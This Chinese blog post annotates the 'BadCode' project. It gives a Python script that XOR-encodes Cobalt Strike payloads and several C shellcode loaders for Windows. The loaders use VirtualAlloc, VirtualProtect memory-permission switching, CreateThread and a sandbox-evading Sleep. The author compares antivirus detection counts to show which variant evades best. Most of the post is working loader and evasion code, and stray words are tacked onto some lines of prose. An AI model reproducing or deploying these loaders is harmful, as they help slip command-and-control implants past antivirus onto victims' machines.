就是旋哥的BadCode系列,此次好好通读下,而后我在旋哥的注释上又加了一些,函数原型等。
项目地址:https://github.com/Rvn0xsy/BadCodegit
主要介绍了下cs的raw和c,而后就是混淆
旋哥使用Python
作的混淆 xor加密,而后我把功能是干啥的都写在了注释里,github
import sys from argparse import ArgumentParser, FileType def process_bin(num, src_fp, dst_fp, dst_raw): shellcode = '' shellcode_size = 0 shellcode_raw = b'' try: while True: code = src_fp.read(1) # 批量读取原始bin文件的1个字节 if not code: # 若是没有东西就跳出循环 break base10 = ord(code) ^ num # 使用code的ASCII码值 异或 num base10_str = chr(base10) # 而后把异或出来的值再转换为char类型 shellcode_raw += base10_str.encode() # 将转换回来的char类型再加密 而后拼接到shellcode_raw里 code_hex = hex(base10) # 转换为16进制 code_hex = code_hex.replace('0x','') # 而后把0x替换为空 if(len(code_hex) == 1): # 若是长度==1 code_hex = '0' + code_hex # 好比是1 就变成01 shellcode += '\\x' + code_hex # 最后\x01拼接到shellcode里 shellcode_size += 1 # 长度+1个字节 # 而后while读取整个文件 1. xor 2. 转为char 3. 编码 4. 转换 src_fp.close() # 关闭原始的bin文件 dst_raw.write(shellcode_raw) # 向新的bin文件写入 dst_raw.close() # 写入完而后关闭 dst_fp.write(shellcode) # 向c文件写入shellcode dst_fp.close() # 写入完而后关闭 return shellcode_size # 最后返回shellcode的长度 except Exception as e: # 错误处理 sys.stderr.writelines(str(e)) def main(): # 如下这些就是设置参数 # type:参数类型 # required:是否能够省略参数 parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com') parser.add_argument('-v','--version',nargs='?') parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True) parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True) parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90) parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=False) args = parser.parse_args() shellcode_size = process_bin(args.num, args.src, args.dst, args.raw) sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size)) if __name__ == "__main__": main()
21line 默认是\x,转义符的问题 \x解决shell
申请内存,并建立线程加载shellcode,而后就是xor解密而后加载
这是一个普通的,并无xor安全
#include <Windows.h> // 入口函数 int wmain(int argc,TCHAR * argv[]){ int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 /* length: 800 bytes */ unsigned char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); /* 函数原型 LPVOID VirtualAlloc( LPVOID lpAddress, // 指向要分配区域的指定起始地址的长指针,若是为NULL系统自动分配 DWORD dwSize, // 指定区域的大小 DWORD flAllocationType, // 指定分配类型。 DWORD flProtect // 指定访问保护的类型 ); */ char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, // shellcode的大小 MEM_COMMIT, // 为指定的页面区域在内存或磁盘上的页面文件中分配物理存储 PAGE_EXECUTE_READWRITE // 启用对页面提交区域的执行、读取和写入访问。 ); /* void CopyMemory( _In_ PVOID Destination, // 指向复制块目标起始地址的指针 _In_ const VOID *Source, // 指向要复制的内存块起始地址的指针。 _In_ SIZE_T Length // 要复制的内存大小 ); */ // 将shellcode复制到可执行的内存页中 CopyMemory(shellcode,buf,shellcode_size); // 1. 刚申请的一块内存(shellcode) 2. 原来的数据的指针 3. 所需大小 /* HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全描述符 SIZE_T dwStackSize, // 堆栈的初始大小,若是为0系统给一个默认的 LPTHREAD_START_ROUTINE lpStartAddress, // 指向要由线程执行的应用程序定义函数的指针 __drv_aliasesMem LPVOID lpParameter, // 指向要传递给线程的变量的指针 DWORD dwCreationFlags, // 建立线程的标志 LPDWORD lpThreadId // 线程ID ); */ // 建立线程 hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); /* DWORD WaitForSingleObject( HANDLE hHandle, // HANDLE DWORD dwMilliseconds // 若是指定了非零值,则函数会等待,直到对象发出信号或间隔结束。若是dwMilliseconds为零,若是对象没有发出信号,函数不会进入等待状态;它老是当即返回。 若是dwMilliseconds是INFINITE,则该函数将仅在对象收到信号时返回。 ); */ // 等待线程 WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束, INFINITE是一个宏 return 0; }
利用xor解密
这里shellcode[i]每个与0x10再异或,得出原始的shellcode,再进行加载函数
#include <Windows.h> #include <stdio.h> int main() { unsigned char buf[] = ""; int length = sizeof(buf) / sizeof(buf[0]); for (int i = 0; i<length - 1; i++) { buf[i] ^= 0x10; } for (int i = 0; i < sizeof(buf)/sizeof(buf[0]); i++) { printf("\\x%x", buf[i]); } }
本身写的一个xor的加密代码 0x10就是key测试
主要是利用VirtualProtect
函数改变VirtualAlloc
申请地址的属性ui
#include <Windows.h> int wmain(int argc,TCHAR * argv[]){ int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性 unsigned char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); /* 增长异或代码 */ for(int i = 0;i<shellcode_size; i++){ buf[i] ^= 10; } char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 启用对页面提交区域的读写访问。再也不是可读可写可执行 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode,buf,shellcode_size); /* 函数原型 BOOL VirtualProtect( LPVOID lpAddress, // 要更改访问保护属性的页面区域的起始页面地址。 咱们要修改shellcode的属性,就是shellcode SIZE_T dwSize, // 大小 DWORD flNewProtect, // 内存保护选项 PDWORD lpflOldProtect // 指向一个变量的指针,该变量接收指定页面区域中第一页的先前访问保护值;也就是某个地址 ); */ // 这里开始更改它的属性为可执行 VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); // 1. 被更改的 2. 大小 3. 启用对页面提交区域的执行访问(原来只是可读可写) 4. 原来的属性 // 等待几秒,兴许能够跳过某些沙盒呢? Sleep(2000); hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束 return 0; }
其实这里修改的地方只有编码
VirtualProtect
函数修改shellcode的属性,并变成了可执行
报了六个的是普通的申请可读可写可执行权限的xor解密执行,报了四个的是先申请可读可写,后又修改属性变成可执行的程序加密
而后再在上面的代码的基础上,不使用手动异或来进行操做,使用自带函数
在测这个的时候,我还觉得不上线呢,最后发现是sleep的问题 得等段时间了 而后我作了下输出、线程
InterlockedXor8
这个函数是对char值作异或,(可是我以为作正常手动异或,应该没事吧)
LONG InterlockedXor( LONG volatile *Destination, // 指向第一个操做数的指针。该值将替换为操做的结果。 因此要+i,向后走 一个个异或替换 LONG Value );
最后测试也是4个报毒,看来我以前的猜想没有错